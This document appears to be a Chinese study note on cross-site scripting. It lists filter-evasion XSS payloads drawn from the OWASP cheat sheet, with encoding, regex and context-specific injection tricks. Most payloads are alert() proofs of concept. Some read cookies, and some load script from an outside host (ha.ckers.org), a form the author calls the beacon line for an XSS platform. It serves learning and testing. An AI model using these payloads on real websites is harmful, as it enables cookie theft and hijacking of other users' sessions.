一直对xss的理解比较薄弱,今天蛋疼的来整理一下。主要来源于心伤的瘦子大神的教程。这个XSS在现在看来反射型已经穷途末路,因为浏览器会自动过滤掉它。
但是存储型的XSS危害还是比较大的,满足XSS要满足两个条件,就是输入和输出的时候都不存在在过滤,这其实是比较严格的。
测试代码
主要是收集于https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet的一些绕过和用来测试的XSS语句
大神另外还整理了比较全的http://www.wooyun.org/whitehats
符号过滤测试
通常用来测试什么符号被过滤或者转义
'';!--"<XSS>=&{()}
还有一个复杂一点的,感觉不常用
';alert(String.fromCharCode(88,83,83))//
';alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))//
--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
外网XSS
这个在测试中不常用,通常用来放入xss平台的上线语句
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
基本XSS
基本的XSS插入<script>alert(document.cookie)</script>
<script>alert('XSS')</script>
利用回调函数
使用回调函数来触发XSS
<img src="xxx" οnerrοr="alert('xxx')" />
<BODY ONLOAD=alert('XSS')>
<a οnmοuseοver="alert(document.cookie)">xxs link</a>
更多的回调函数类型在这能找到
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
JavaScript directive
这个在很多教程上都出现,但是现在的浏览器都封杀了Javascript directive 这个功能
所以现在一些与它相关的xss都无法执行了,不过貌似低版本IE还是可以的
<img src="javascript:alert('XSS')">
<BODY BACKGROUND="javascript:alert('XSS')">
<BGSOUND src="javascript:alert('XSS');">
<LAYER src="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" href="javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME src=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
这两个在IE下好使
<iframe src="javascrsipt:alert(document.domain);"></iframe>
<a href="javascrsipt:alert(document.domain);">
<IMG src='vbscript:msgbox("XSS")'>
<IMG src="mocha:[code]">
<IMG src="livescript:[code]">
编码绕过
Html Characters
html会对属性中的一些实体字符进行解释,我们可以用他们来进行一些绕过,比如
<img src="1" οnerrοr="alert(1)">
可以转换成,一般情况下对于& # ;不被过滤的话引号中的内容就可以随意构造了
也可以用来闭合内容中的引号和括号,也就是说最外层的引号不能闭合,其他随意搞
<img src="1" οnerrοr="alert()">
有的时候一些正则会使用&#xxx 这样来对实体字符进行过滤,但是可以用�xxx;这样的方式来绕过
还有一些危险的实体字符,比如< &qoute 洞可以拿来进行绕过
Multi-byte Character
有的时候也可以使用宽字节来进行绕过,这个技巧在sql注入中很常用,如%0c可以吃掉一个反斜杠
Access/Unicode
在一些dom XSS中有时可以用\u00aa \xaa \aa 这样的编码绕过一些关键字
<div id="a">xxx</div>
<script>
document.getElementById("a").innerHTML="\x3cimg src=1 οnerrοr=alert(1)\u003e";
</script>
String.fromCharCode
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
Utf-7
这个只存在于一些极端的情况,页面character被设置成utf-7的时候
POC在这里,不过现在大部分浏览器已经修正了这个错误,IE依旧可以
<?php
header('Content-Type: text/html; charset=UTF-7');
$string = "<script>alert('XSS');</script>";
$string = mb_convert_encoding($string, 'UTF-7');
echo htmlentities($string);
?>
multi-byte character
这个就是利用多字节编码的特点来吃掉后面的字符,一般情况下读到第一个字节是 xx-xx 之内的数值,就确定了后面有几字节的数据
来共同组成一个字符,后面字符的取值并不重要。这种利用通常在老版本IE下奏效。
正则绕过
主要是一些绕过正则匹配的方法
非递归的正则
这里一般是正则表达式自作一遍过滤,可以这样进行构造
<scr(script)ipt>xxxxxxx</scr(script)ipt>
注释符截断
在style注入的情况下,可以用注释符截断关键字,比如
cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
字符截断
有一些字符在浏览器解析的时候会被忽略可以用来绕过正则
经过fuzz,发现只有%00 可以截断且只在ie下有效
<s%00cript>alert(0);</script>
Non-alpha-non-digit XSS
这是利用了解释器的特性,测试了一下chrome和firefox都可以成功,一些符号会被解释成空格
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
这里我做了一下fuzz,发现在ie下,chr(9 10 11 12 13 32 47)这几个符号都是可用的
he Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this also applies to the grave accent char as seen here:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
fuzz一下得知 chr(9) 可以用
us-ascii high bit issue
这个源自于浏览器瞎解释,他会把一些8位的字符直接解释成7位ascii
poc
%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE
奇技淫巧
反斜杠
这也是注入常用的一个技巧,在无法闭合单引号的时候可以使用一个反斜杠转义掉单引号。
比如
location.href="........."+"&ss=aaaa"+"&from=bbb";
这一句,我们无法闭合掉双引号的情况下,可以用反斜杠来进行这样的构造
location.href="........."+"&ss=aaaa\"+"&from=(yyyyyyy);(xxxxxxxxxxxx邪恶语句)//";
重音符
有重音符代替说引号的说法,
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
在IE低版本下,不会给value等属性加双引号,这时候可以用重音符来代替双引号,来达到跳出双引号的目的
<input name="p1" size="50" value=`` οnmοuseοver=alert(document.domain); >
不合法的格式
<IMG """><SCRIPT>alert("XSS")</SCRIPT>
残缺的格式
是有一些残缺的格式来进行绕过,主要利用浏览器解析的一些特性
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:alert('XSS')"
<iframe src=http://ha.ckers.org/scriptlet.html <
利用情景
sript注入
这种情况输入被带入了<script></script>中 或者 onxxxx函数中,这种情况可利用的几率很大。
比如变量被带入到如下语句
<script>var a = ''myxsstestdmqlwp''; var b = 123; ... </script>
构造变量为
''; alert(document.cookie); var foo=''
这种情况要注意。构造不能让js语法出错。
在可以任意使用script语句的情况下,可以很灵活的构造xss语句,过滤相对困难
var a=''ale"+"rt(1)";eval(a);
html标签注入
有的时候输入会被显示在html标签之中,比如
<input type="text" value="乌云欢迎您" />
这种情况下,如果输入没有过滤单引号的话,就可以形成XSS注入了
<input type="text" value="乌云欢迎您" οnclick="alert(1)" />
Style注入
也有一种输出会在style中,但是现在在style中的注入只能在ie6 ie7 中利用<div style="xss:expression(alert(1));"></div>
css中支持\Ascii这样的方式,如果\没有被过滤的话,可以用来绕过检测
<div style="xss:expr\65ssion(alert(1));"></div>
还有另外两种常见利用格式
background-color:#f00;background:url("javascript:alert(document.domain);");
cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
注释注入
这个如果把用户输入输出到注释中,也是很危险的事情,用户可以简单地用换行跳出注释
//我是注释,我爱洗澡,哦~哦~哦~ [我是输出 换行符
alert(1);//我是输出]
DOM注入
这种情况是输入出现在,可修改HTML内容的js语句中,比如
<div id="a">xxx</div>
<script>
document.getElementById("a").innerHTML="<script defer>alert(1)</script>";
</script>
再比如
document.write("xxxxxxxxxxxx");
这些语句中的字符串变量有这么一个比较美丽的特性
\76 \x3c \u003c 可以在字符串变量中使用,可以用来绕过很多过滤
这里比较常见的引发Dom Xss的函数如下
document.write()
document.writeln()
document.body.innerHtml
eval()
window.execScript()
window.setInterval()
window.setTimeout()
AJAX注入
有些页面会显示出ajax的xml结构的数据,但是这种ajax中转文件很难找。
JS语言特性
有的时候一些特定的XSS,会涉及到一些js语言的特征,这里来整理一下下
变量未定义
对于这种错误,JS有一种特性,凡是以 function xxx(){} 形式定义的函数,都会被最优先解析。
也就是说 xxx==‘xxxx’; function xxx(){}这种语句也是可以正确执行的。
反斜杠
通过反斜杠可以吧原本在两行的字符串连接起来
高级的技术在这里··还未做整理